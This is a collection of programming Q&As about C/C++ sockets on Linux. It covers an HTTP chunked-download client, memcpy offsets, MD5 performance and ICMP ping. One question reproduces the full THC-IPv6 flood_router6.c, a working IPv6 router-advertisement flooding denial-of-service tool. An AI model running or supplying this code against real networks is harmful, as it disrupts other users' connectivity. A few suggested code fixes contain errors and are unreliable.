Byte corruption with fwrite on large files - c++

Im developing a c++ program (most like an exercise class) about a client and a server, using HTTP protocol, the user give to the client a file file name and size (bytes), then the client create n threads and each one ask for an specific number of bytes to the server, the server attend the order and the client receive the data and put all together.
My program work fine for small files (100kb - 200kb), but when I try to send large files (Mb for example) from the server all bytes are received but the final file is corrupted, every thread had its own init and end byte number and create a file named like "file_n.txt" so there isn't problem in the order of the bytes at the time of put all the bytes together, the final corrupted file have the same number of bytes than the original (all bytes were received, also I check the server logs about the bytes interval the thread is asking for) but it's hexdump is different (obviously).
Did you think fwrite function has something to do with this issue? if yes, will be cool you point me to the right direction please, Im trying hard to solve this problem, this is my client.cpp code
#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <iostream>
#include <string>
#include <sstream>
using namespace std;
const int MAX_HEADER_SIZE = 1000;
int threadsEnd = 0;
struct bytes
{
int initByte;
int endByte;
int bufferSize;
int id;
char * port;
char * ip;
char * image;
};
void error(const char *msg)
{
perror(msg);
exit(0);
}
void * request_bytes (void * parameters)
{
struct bytes * p = (struct bytes *) parameters;
int sockfd, portno, n;
struct sockaddr_in serv_addr;
struct hostent *server;
int totalBuffer = MAX_HEADER_SIZE + p->bufferSize + 1;
int totalBodyContent = p->bufferSize + 1;
char buffer[totalBuffer];
char bodyContent[totalBodyContent];
portno = atoi(p->port);
server = gethostbyname(p->ip);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
serv_addr.sin_port = htons(portno);
if (connect(sockfd,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0)
error("ERROR connecting");
ostringstream init,end;
init << p->initByte;
end << p->endByte;
string HttpRequestString = string("POST / HTTP/1.1\r\n")
+ string("Host: ") + p->ip + string("\n")
+ string("Connection: Close\n")
+ string("Content-Length: 4\n")
+ string("Content-Type: txt\n\n")
+ string("nombre=") + p->image + string("&inicio=") + init.str() + string("&fin=") + end.str() + string("\n");
const char * HttpRequest = HttpRequestString.c_str();
n = write(sockfd,(void *)HttpRequest, strlen(HttpRequest));
if (n < 0)
error("ERROR writing to socket");
bzero(buffer,(MAX_HEADER_SIZE + p->bufferSize));
int headerEndDetermined = 0, bodyEnd = 0;
int x = 1;
int bodyInit = 1;
int total_bytes = 0;
n = read(sockfd,buffer,((MAX_HEADER_SIZE + p->bufferSize) - 1));
if (n < 0)
error("ERROR reading from socket");
for(; x < strlen(buffer); x++)
if(buffer[x - 1] == '\n')
if(buffer[x] == '\n')
{
headerEndDetermined = 1;
bodyInit = x + 1;
break;
}
for(x = 0; x < p->bufferSize ; x++)
{
bodyContent[x] = buffer[bodyInit];
bodyInit++;
}
//Escritura de archivo
char filename[32];
snprintf(filename, sizeof(char) * 32, "file%i", p->id);
FILE * pFile;
pFile = fopen (filename,"wb");
if(pFile != NULL)
{
fwrite (bodyContent,1,sizeof(bodyContent) - 1,pFile);
fclose (pFile);
}
close(sockfd);
threadsEnd++;
return NULL;
}
int main (int argc, char *argv[])
{
if (argc < 5) {
fprintf(stderr,"uso %s hostname puerto image_name bytes\n", argv[0]);
exit(0);
}
int globalByte = atoi(argv[4]);
int threadRequest = 10;
int requestBytes = (globalByte / threadRequest);
int globalInitialByte = 1;
int globalEndByte = requestBytes;
int x = 0, i = 1;
int totalBytesRequested = 0;
pthread_t request[threadRequest];
for(; x < threadRequest; x++){
struct bytes request_args;
request_args.initByte = globalInitialByte;
request_args.endByte = globalEndByte;
request_args.bufferSize = requestBytes;
request_args.id = x + 1;
globalInitialByte = globalEndByte + 1;
globalEndByte = globalEndByte + requestBytes;
if(x == (threadRequest - 1))
{
if((totalBytesRequested + requestBytes) < globalByte)
{
request_args.endByte = globalByte;
request_args.bufferSize = requestBytes + (globalByte - (totalBytesRequested + requestBytes));
}
}
request_args.ip = argv[1];
request_args.port = argv[2];
request_args.image = argv[3];
pthread_create (&request[x], NULL, &request_bytes, &request_args);
pthread_join (request[x], NULL);
totalBytesRequested += requestBytes;
}
/*do
{
cout<<"Threads completos: "<<threadsEnd<<endl;
}while(threadsEnd < threadRequest);*/
string createFileString = string("cat ");
for(; i <= threadRequest; i++)
{
ostringstream filen;
filen << i;
createFileString = createFileString + string("file") + filen.str() + string(" ");
}
createFileString = createFileString + string("> new_") + argv[3];
system(createFileString.c_str());
return 0;
}
Sorry about my bad grammar :p.

You have lots of bugs.
The HTTP protocol specifies that lines must end with "\r\n", not "\n".
You specify a content length of four bytes, but your content is longer than that.
Don't use sizeof or strlen when your code already knows the sizes of things. It will get you into trouble.
You only call read once. You need to keep calling read until you receive all the data.
You specify HTTP 1.1 compliance, but your code doesn't actually comply with the HTTP 1.1 specification. For example, your code would break horribly if you received data with chunked encoding. HTTP 1.1 clients are required to support chunked encoding. "All HTTP/1.1 applications MUST be able to receive and decode the chunked transfer-coding[.]" -- RFC2616 3.6.1.

I don't think you can declare character string sizes at run time, you will need to change
char buffer[totalBuffer];
char bodyContent[totalBodyContent];
to
char buffer = new char[totalBuffer];
char bodyContent = new char[totalBodyContent];
and delete the buffers at the end
delete [] buffer;
delete [] bodyContent;
Alternatively, you could use malloc() and free() to allocate and free the buffers.

Related

How to know the memcpy() function has successfully copied the memory during completing pakage?

I send a vector containing 120000 from my computer to a server by tcp/ip ssh tunnel. Every time, I send 250 values of type double and the sever send me back them to ensure that I have sent the data correctly. I use the function read() to recieve the data in the server. As we know, read() cannot always recieve all the 250 values (250*8=2000bytes) in one time. Thus, I use the function memcpy() to save the recieved data until it reach 2000 bytes. However, the memcpy only work one times.
For example, I send 250 values (2000bytes). The server recieves 1408 bytes in the 1st time. I use memcpy() to save these 1406 bytes into a array from the buffer. The server recieves 594 bytes in the 2nd time. I use memcpy() to save these 592 bytes into the same array from the buffer. However, I find the 2nd time, memcpy() does not work according to the value send back from server to my computer.
The code c++ in server has two objectives:
1. recieve the 250 data every times.
2. send them back every times.
#include <stdio.h>
#include <iostream>
#include<vector>
#include <math.h>
extern "C"
void useCUDA();
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
using namespace std;
int main()
{
vector<double> Y;
int lread = 250, nMu = 4, ltotal = 120000;
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
serv_addr.sin_port = htons(54321);
connect(sock, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
double* block_buffer_input;
block_buffer_input = new double[lread];
double* block_input;
block_input = new double[lread];
double* block_buffer_output;
block_buffer_output = new double[lread];
while (Y.size() < ltotal)
{
int nbyteread = 0;
int nbytereadtimes = 0;
while (nbyteread < 8 * lread)
{
nbytereadtimes = read(sock, reinterpret_cast<char*>(block_buffer_input), lread * sizeof(double));
memcpy(block_input + nbyteread, block_buffer_input, nbytereadtimes);
if (nbytereadtimes != 8 * lread && nbytereadtimes != 0)
cout << Y.size() << ": " << nbytereadtimes << " " << block_input + nbyteread <<endl;
nbyteread += nbytereadtimes;
}
Y.insert(Y.end(), &block_input[0], &block_input[lread]);
cout << Y.size() << ": " << nbyteread << endl;
int Sp = Y.size() - lread;
for (int i = 0; i != lread; ++i)
{
block_buffer_output[i] = Y[Sp + i];
}
write(sock, (char*)block_buffer_output, lread * sizeof(double));
}
delete[] block_buffer_input;
delete[] block_input;
delete[] block_buffer_output;
close(sock);
return 0;
}
I want to know why the memcpy() do not work in the 2nd time.
If you adding nbyteread to the pointer to an array of doubles you actually referring to address of nbyteread * sizeof(double) (address of nbyteread element)
memcpy(block_input + nbyteread, block_buffer_input, nbytereadtimes);

AF_LINK not defined in bits/socket.h and sys/socket.h

I am writing a code to read the MAC address from the interface for listing the interface and it MAC address as I am not able to find the AF_LINK definition in either of the socket.h files.
As per internet resources i should see below:
#define AF_LINK 18 /* Link layer interface */
But my bits/socket.h contains:
#define PF_ASH 18 /* Ash. */
.
.
#define AF_ASH PF_ASH
Should I be using PF_ASH in place of AF_LINK?
Here is the part of my code that uses AF_LINK:
if ((family == AF_LINK) && (ifa->ifa_name[0] == 'e')) {
//This is for extracting interface number from interface name//
char newi[3];
int i, j;
for (i=0, j=0; i < strlen(ifa->ifa_name); i++) {
if (ifa->ifa_name[i] >= '0' && ifa->ifa_name[i] <= '9') {
newi[j++] = ifa->ifa_name[i];
}
}
newi[j] = '\0';
if_num = atoi(newi);
printf("Interface %d : %d\n", k++, if_num);
}
Full code:
/*
* ethernetsocket.c
*
* Created on: Feb 25, 2015
* Author: tsp3859
*/
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <bits/socket.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <ifaddrs.h>
#define MY_DEST_MAC0 0xff
#define MY_DEST_MAC1 0xff
#define MY_DEST_MAC2 0xff
#define MY_DEST_MAC3 0xff
#define MY_DEST_MAC4 0xff
#define MY_DEST_MAC5 0xff
// Source Ethernet interface
#define DEFAULT_InterFace "eth0"
#define DEFAULT_PayLoad "1.1.10"
// Allocating size to different containers
#define MAX_FRAME_SIZE 1024
#define MAX_PAYLD_SIZE 1000
#define HEADER_SIZE 14
int payLoad_Size = -1;
int frame_Size = -1;
int main(int argc, char *argv[]) {
int sockfd;
struct ifreq if_idx; // destination ethernet (optional)
struct ifreq if_mac; // destination mac address
int tx_len = 0; // header counter
char ifName[IFNAMSIZ]; // interface name
uint8_t header[HEADER_SIZE]; // ethernet header
char dummy_Payload[MAX_PAYLD_SIZE];
int if_num; // interface number, used for genarating VID
/*
* Run as one of the following command
* 1. ./a.out
* 2 ./a.out eth3
* 3. ./a.out eth4 PayLoad
*/
// Get Ethernet interface name from command line (optional)
if (argc > 1) {
if (argc == 2) {
strcpy(ifName, argv[1]);
strcpy(dummy_Payload, DEFAULT_PayLoad);
}
if (argc == 3) {
strcpy(ifName, argv[1]);
if (strlen(argv[2]) > 1000) {
memcpy(dummy_Payload, argv[2], MAX_PAYLD_SIZE);
} else
strcpy(dummy_Payload, argv[2]);
}
} else {
// Default case: All fields are optional
if (argc < 2) {
strcpy(ifName, DEFAULT_InterFace);
strcpy(dummy_Payload, DEFAULT_PayLoad);
}
}
//Getting interface number
struct ifaddrs *ifaddr, *ifa;
int family, s, n;
if (getifaddrs(&ifaddr) == -1) {
perror("getifaddrs");
exit(EXIT_FAILURE);
}
int k = 1; // Interface SNo.
for (ifa = ifaddr, n = 0; ifa != NULL; ifa = ifa->ifa_next, n++) {
if (ifa->ifa_addr == NULL)
continue;
family = ifa->ifa_addr->sa_family;
if ((family == AF_INET || family == AF_INET6) && (ifa->ifa_name[0] == 'e')) {
char newi[3];
int i, j;
for (i=0, j=0; i < strlen(ifa->ifa_name); i++) {
if (ifa->ifa_name[i] >= '0' && ifa->ifa_name[i] <= '9') {
newi[j++] = ifa->ifa_name[i];
}
}
newi[j] = '\0';
if_num = atoi(newi);
printf("Interface %d : %d\n", k++, if_num);
}
}
// Setting frame size
payLoad_Size = strlen(dummy_Payload);
// Setting payload, contains VID
char payLoad[payLoad_Size];
//memcpy(payLoad,dummy_Payload,payLoad_Size);
int len=0;
payLoad[len++]=1;
payLoad[len++]=1;
payLoad[len]=10;
frame_Size = HEADER_SIZE + strlen(payLoad);
//printf("Payload size is %d\n ", payLoad_Size);
printf("Frame size is %d\n ", frame_Size);
printf("Payload size is %d\n\n ", strlen(payLoad));
payLoad_Size=strlen(payLoad);
// creating frame
uint8_t frame[frame_Size];
struct ether_header *eh = (struct ether_header *) header;
struct sockaddr_ll socket_address;
// Open RAW socket to send on
if ((sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW)) == -1) {
perror("Socket Error");
}
memset(&if_idx, 0, sizeof(struct ifreq));
strncpy(if_idx.ifr_name, ifName, IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0)
perror("SIOCGIFINDEX - Misprint Compatibility");
memset(&if_mac, 0, sizeof(struct ifreq));
strncpy(if_mac.ifr_name, ifName, IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFHWADDR, &if_mac) < 0)
perror(
"SIOCGIFHWADDR - Either interface is not correct or disconnected");
// Initializing the Ethernet Header
memset(header, 0, HEADER_SIZE);
// Print-test initial header
printf("Zeros: %02x:%02x:%02x:%02x:%02x:%02x %02x:%02x:%02x:%02x:%02x:%02x %02x:%02x\n",
header[0], header[1], header[2], header[3], header[4], header[5],
header[6], header[7], header[8], header[9], header[10], header[11],
header[12], header[13]);
/*
* Ethernet Header - 14 bytes
*
* 6 bytes - Source MAC Address
* 6 bytes - Destination MAC Address
* 2 bytes - EtherType
*
*/
eh->ether_shost[0] = ((uint8_t *) &if_mac.ifr_hwaddr.sa_data)[0];
eh->ether_shost[1] = ((uint8_t *) &if_mac.ifr_hwaddr.sa_data)[1];
eh->ether_shost[2] = ((uint8_t *) &if_mac.ifr_hwaddr.sa_data)[2];
eh->ether_shost[3] = ((uint8_t *) &if_mac.ifr_hwaddr.sa_data)[3];
eh->ether_shost[4] = ((uint8_t *) &if_mac.ifr_hwaddr.sa_data)[4];
eh->ether_shost[5] = ((uint8_t *) &if_mac.ifr_hwaddr.sa_data)[5];
eh->ether_dhost[0] = MY_DEST_MAC0;
eh->ether_dhost[1] = MY_DEST_MAC1;
eh->ether_dhost[2] = MY_DEST_MAC2;
eh->ether_dhost[3] = MY_DEST_MAC3;
eh->ether_dhost[4] = MY_DEST_MAC4;
eh->ether_dhost[5] = MY_DEST_MAC5;
eh->ether_type = htons(0x8010);
tx_len += sizeof(struct ether_header);
// Copying header to frame
memcpy(frame, header, 14);
// Copying payLoad to frame
//printf("Payload: %d\n", payLoad[1]);
memcpy(frame + 14, payLoad, strlen(payLoad));
// Printing initial frame
printf(" Frame: %02x:%02x:%02x:%02x:%02x:%02x %02x:%02x:%02x:%02x:%02x:%02x %02x:%02x\n",
frame[0], frame[1], frame[2], frame[3], frame[4], frame[5],
frame[6], frame[7], frame[8], frame[9], frame[10], frame[11],
frame[12], frame[13]);
// Printing payLoad
printf("Payload: %d.%d.%d\n", frame[14],frame[15],frame[16]);
// Index of the network device
socket_address.sll_ifindex = if_idx.ifr_ifindex;
// Address length - 6 bytes
socket_address.sll_halen = ETH_ALEN;
// Destination MAC Address
socket_address.sll_addr[0] = MY_DEST_MAC0;
socket_address.sll_addr[1] = MY_DEST_MAC1;
socket_address.sll_addr[2] = MY_DEST_MAC2;
socket_address.sll_addr[3] = MY_DEST_MAC3;
socket_address.sll_addr[4] = MY_DEST_MAC4;
socket_address.sll_addr[5] = MY_DEST_MAC5;
// Send packet
if (sendto(sockfd, frame, tx_len + strlen(payLoad), 0,
(struct sockaddr*) &socket_address, sizeof(struct sockaddr_ll)) < 0)
printf("Send failed\n");
freeifaddrs(ifaddr);
exit(EXIT_SUCCESS);
return 0;
}

Why is MD5Sum so fast

I've been studying hashing in C/C++ and tried to replicate the md5sum command in Linux. After analysing the source code, it seems that md5sum relies on the md5 library's md5_stream. I've approximated the md5_stream function from the md5.h library into the code below, and it runs in ~13-14 seconds. I've tried to call the md5_stream function directly and got ~13-14 seconds. The md5sum runs in 4 seconds. What have the GNU people done to get the speed out of the code?
The md5.h/md5.c code is available in the CoreUtils source code.
#include <QtCore/QCoreApplication>
#include <QtCore/QDebug>
#include <iostream>
#include <iomanip>
#include <fstream>
#include "md5.h"
#define BLOCKSIZE 32784
int main()
{
FILE *fpinput, *fpoutput;
if ((fpinput = fopen("/dev/sdb", "rb")) == 0) {
throw std::runtime_error("input file doesn't exist");
}
struct md5_ctx ctx;
size_t sum;
char *buffer = (char*)malloc (BLOCKSIZE + 72);
unsigned char *resblock = (unsigned char*)malloc (16);
if (!buffer)
return 1;
md5_init_ctx (&ctx);
size_t n;
sum = 0;
while (!ferror(fpinput) && !feof(fpinput)) {
n = fread (buffer + sum, 1, BLOCKSIZE - sum, fpinput);
if (n == 0){
break;
}
sum += n;
if (sum == BLOCKSIZE) {
md5_process_block (buffer, BLOCKSIZE, &ctx);
sum = 0;
}
}
if (n == 0 && ferror (fpinput)) {
free (buffer);
return 1;
}
/* Process any remaining bytes. */
if (sum > 0){
md5_process_bytes (buffer, sum, &ctx);
}
/* Construct result in desired memory. */
md5_finish_ctx (&ctx, resblock);
free (buffer);
for (int x = 0; x < 16; ++x){
std::cout << std::setfill('0') << std::setw(2) << std::hex << static_cast<uint16_t>(resblock[x]);
std::cout << " ";
}
std::cout << std::endl;
free(resblock);
return 0;
}
EDIT: Was a default mkspec problem in Fedora 19 64-bit.
fread() is convenient, but don't use fread() if you care about performance. fread() will copy from the OS to a libc buffer, then to your buffer. This extra copying cost CPU cycles and cache.
For better performance use open() then read() to avoid the extra copy. Make sure your read() calls are multiples of the block size, but lower than your CPU cache size.
For best performance use mmap() map the disk directly to RAM.
If you try something like the below code, it should go faster.
// compile gcc mmap_md5.c -lgcrypt
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <gcrypt.h>
#include <linux/fs.h> // ioctl
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
int main(int argc, char *argv[])
{
char *addr;
int fd;
struct stat sb;
off_t offset, pa_offset;
size_t length;
ssize_t s;
unsigned char digest[16];
char digest_ascii[32+1] = {0,};
int digest_length = gcry_md_get_algo_dlen (GCRY_MD_MD5);
int i;
if (argc < 3 || argc > 4) {
fprintf(stderr, "%s file offset [length]\n", argv[0]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if (fd == -1)
handle_error("open");
if (fstat(fd, &sb) == -1) /* To obtain file size */
handle_error("fstat");
offset = atoi(argv[2]);
pa_offset = offset & ~(sysconf(_SC_PAGE_SIZE) - 1);
if (sb.st_mode | S_IFBLK ) {
// block device. use ioctl to find length
ioctl(fd, BLKGETSIZE64, &length);
} else {
/* offset for mmap() must be page aligned */
if (offset >= sb.st_size) {
fprintf(stderr, "offset is past end of file size=%zd, offset=%d\n", sb.st_size, (int) offset);
exit(EXIT_FAILURE);
}
if (argc == 4) {
length = atoi(argv[3]);
if (offset + length > sb.st_size)
length = sb.st_size - offset;
/* Canaqt display bytes past end of file */
} else { /* No length arg ==> display to end of file */
length = sb.st_size - offset;
}
}
printf("length= %zd\n", length);
addr = mmap(NULL, length + offset - pa_offset, PROT_READ,
MAP_PRIVATE, fd, pa_offset);
if (addr == MAP_FAILED)
handle_error("mmap");
gcry_md_hash_buffer(GCRY_MD_MD5, digest, addr + offset - pa_offset, length);
for (i=0; i < digest_length; i++) {
sprintf(digest_ascii+(i*2), "%02x", digest[i]);
}
printf("hash=%s\n", digest_ascii);
exit(EXIT_SUCCESS);
}
It turned out to be an error in the Qt mkspecs regarding an optimization flag not being set properly.

some functions in flood_router6.c (DoS program in BackTrack)

This code is a Denial of Service attack program in BackTrack from http://www.thc.org/
The code's name is flood_router6.c
In the code shown below, I have problem what are these functions doing:
thc_create_ipv6()
thc_add_icmp6()
thc_generate_and_send_pkt()
there are no functions like that in "thc-ipv6.h" library.
What are these functions do? I searched on google and there are no answer.
Anyone can help?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
extern int debug;
void help(char *prg) {
printf("%s %s (c) 2010 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s [-r] interface\n\n", prg);
printf("Flood the local network with router advertisements.\n");
printf("Use -r to use raw mode.\n\n");
exit(-1);
}
int main(int argc, char *argv[]) {
char *interface, mac[6] = "";
unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
unsigned char buf[56];
unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
int size, mtu, i;
unsigned char *pkt = NULL;
int pkt_len = 0;
int rawmode = 0;
int count = 0;
if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
interface = argv[1];
mtu = 1500;
size = 64;
ip6 = malloc(16);
routerip6 = malloc(16);
route6 = malloc(16);
mac[0] = 0x00;
mac[1] = 0x18;
memset(ip6, 0, 16);
ip6[0] = 0xfe;
ip6[1] = 0x80;
ip6[8] = 0x02;
ip6[9] = mac[1];
ip6[11] = 0xff;
ip6[12] = 0xfe;
routerip6[0] = 0x2a;
routerip6[1] = 0x01;
routerip6[15] = 0x01;
memset(route6 + 8, 0, 8);
printf("Starting to flood network with router advertisements on %s
(Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
while (1) {
for (i = 2; i < 6; i++)
mac[i] = rand() % 256;
for (i = 2; i < 8; i++)
routerip6[i] = rand() % 256;
// ip6[9] = mac[1];
ip6[10] = mac[2];
ip6[13] = mac[3];
ip6[14] = mac[4];
ip6[15] = mac[5];
memcpy(route6, routerip6, 8);
count++;
memset(buf, 0, sizeof(buf));
buf[1] = 250;
buf[5] = 30;
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
buf[16] = 3;
buf[17] = 4;
buf[18] = size;
buf[19] = 128 + 64 + 32;
memset(&buf[20], 255, 8);
memcpy(&buf[32], route6, 16);
buf[48] = 1;
buf[49] = 1;
memcpy(&buf[50], mac6, 6);
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0)
return -1;
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
perror("");
return -1;
}
pkt = thc_destroy_packet(pkt);
usleep(1);
if (count % 100 == 0)
printf(".");
}
return 0;
}
THC-IPv6 is a set of tools used to attack inherent protocol weaknesses of IPV6.The project is a part of the THC, namely The Hacker's Choice. You can find the detail about this project:
http://www.thc.org/thc-ipv6/
The THC-IPv6 not only provides tools for attacking but also a handy library.The library can be used in developing your own applications, e.g. create a specific IPv6 packet.
http://www.thc.org/thc-ipv6/README
Basicly, thc_create_ipv6() is used to create a IPv6 packet with no extension headers.
thc_add_icmp6() will add the icmpv6 header to this packet and thc_generate_and_send_pkt() will send out this packet to wire. More detail about THC-IPv6 library pls refer to the README.
You did not really look - the functions are defined in thc-ipv6.h, the code for them is in thc-ipv6-lib.c
The function thc_create_ipv6() creates the basic IPv6 packet and is required before any other packet function of the library.
Then the_add_icmp6() adds an ICMPv6 header to the IPv6 packet.
There are more thc_add_* functions, e.g. for UDP, TCP or extension headers.
Finally thc_generate_and_send_pkt() will build the packet and send it to the network.
See the README.
The smurf6.c file is an easy example on how to use the library.

What is the best method to ping in c++ under linux?

I have to call ping from c++ code.I'd like to easily read the output for further utilizations.
I have come up with two solutions:
use a fork and a pipe, redirect ping output to the pipe and then parse it
find a library suited for the purpose to use a ping(ip_addresss) function directly
I'd like the latter but i didn't find anything that was clearly a standard solution.
How would you do it ?
From the educational point of view invoking an external binary is very inadvisable. Especially for a simple task such as sending an ICMP echo request, you should learn a bit of socket.
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <resolv.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#define PACKETSIZE 64
struct packet
{
struct icmphdr hdr;
char msg[PACKETSIZE-sizeof(struct icmphdr)];
};
int pid=-1;
struct protoent *proto=NULL;
int cnt=1;
/*--------------------------------------------------------------------*/
/*--- checksum - standard 1s complement checksum ---*/
/*--------------------------------------------------------------------*/
unsigned short checksum(void *b, int len)
{
unsigned short *buf = b;
unsigned int sum=0;
unsigned short result;
for ( sum = 0; len > 1; len -= 2 )
sum += *buf++;
if ( len == 1 )
sum += *(unsigned char*)buf;
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
result = ~sum;
return result;
}
/*--------------------------------------------------------------------*/
/*--- ping - Create message and send it. ---*/
/* return 0 is ping Ok, return 1 is ping not OK. ---*/
/*--------------------------------------------------------------------*/
int ping(char *adress)
{
const int val=255;
int i, sd;
struct packet pckt;
struct sockaddr_in r_addr;
int loop;
struct hostent *hname;
struct sockaddr_in addr_ping,*addr;
pid = getpid();
proto = getprotobyname("ICMP");
hname = gethostbyname(adress);
bzero(&addr_ping, sizeof(addr_ping));
addr_ping.sin_family = hname->h_addrtype;
addr_ping.sin_port = 0;
addr_ping.sin_addr.s_addr = *(long*)hname->h_addr;
addr = &addr_ping;
sd = socket(PF_INET, SOCK_RAW, proto->p_proto);
if ( sd < 0 )
{
perror("socket");
return 1;
}
if ( setsockopt(sd, SOL_IP, IP_TTL, &val, sizeof(val)) != 0)
{
perror("Set TTL option");
return 1;
}
if ( fcntl(sd, F_SETFL, O_NONBLOCK) != 0 )
{
perror("Request nonblocking I/O");
return 1;
}
for (loop=0;loop < 10; loop++)
{
int len=sizeof(r_addr);
if ( recvfrom(sd, &pckt, sizeof(pckt), 0, (struct sockaddr*)&r_addr, &len) > 0 )
{
return 0;
}
bzero(&pckt, sizeof(pckt));
pckt.hdr.type = ICMP_ECHO;
pckt.hdr.un.echo.id = pid;
for ( i = 0; i < sizeof(pckt.msg)-1; i++ )
pckt.msg[i] = i+'0';
pckt.msg[i] = 0;
pckt.hdr.un.echo.sequence = cnt++;
pckt.hdr.checksum = checksum(&pckt, sizeof(pckt));
if ( sendto(sd, &pckt, sizeof(pckt), 0, (struct sockaddr*)addr, sizeof(*addr)) <= 0 )
perror("sendto");
usleep(300000);
}
return 1;
}
/*--------------------------------------------------------------------*/
/*--- main - look up host and start ping processes. ---*/
/*--------------------------------------------------------------------*/
int main(int argc, char *argv[])
{
if (ping("www.google.com"))
printf("Ping is not OK. \n");
else
printf("Ping is OK. \n");
return 0;
}
I would go with your first option. Linux is built around the concept of having small, specialized apps which do one thing really well, communicating with pipes. Your app shouldn't include a library to implement ping, since there is already a built-in command to do it, and it works very well!
Check out BusyBox's source for 'ping' - you can use the ping4 and ping6 functions. Just be mindful of the GPL.
Spawning 'ping' should work too - check out popen(2) for a simpler API that also runs a shell. If it's a problem, pipe + fork + exec should work.
how about https://github.com/octo/liboping ?
#include <oping.h>
int main(){
// run ping 100times
for (uint32_t i=0; i< 100; i++){
pingobj_t * pingObj = ping_construct();
ping_host_add(pingObj, "www.gmx.de");
auto startTime = std::chrono::high_resolution_clock::now();
auto ret = ping_send(pingObj);
auto endTime = std::chrono::high_resolution_clock::now();
if (ret > 0){
auto duration = (double)std::chrono::duration_cast<std::chrono::microseconds>(endTime - startTime).count()/1000.0;
std::cout << "success -- ping in " << duration << "ms" << std::endl;
} else {
std::cout << "failed" << std::endl;
}
ping_destroy(pingObj);
// wait 1sec
std::this_thread::sleep_for(std::chrono::milliseconds (1000));
}
}
liboping should be present in most linux systems
install liboping-dev (ex: sudo apt install liboping-dev)
linking against liboping
I've managed to do like this:
I use popen which basically creates a pipe, fork and exec
Then, if I need, i can wait with pclose.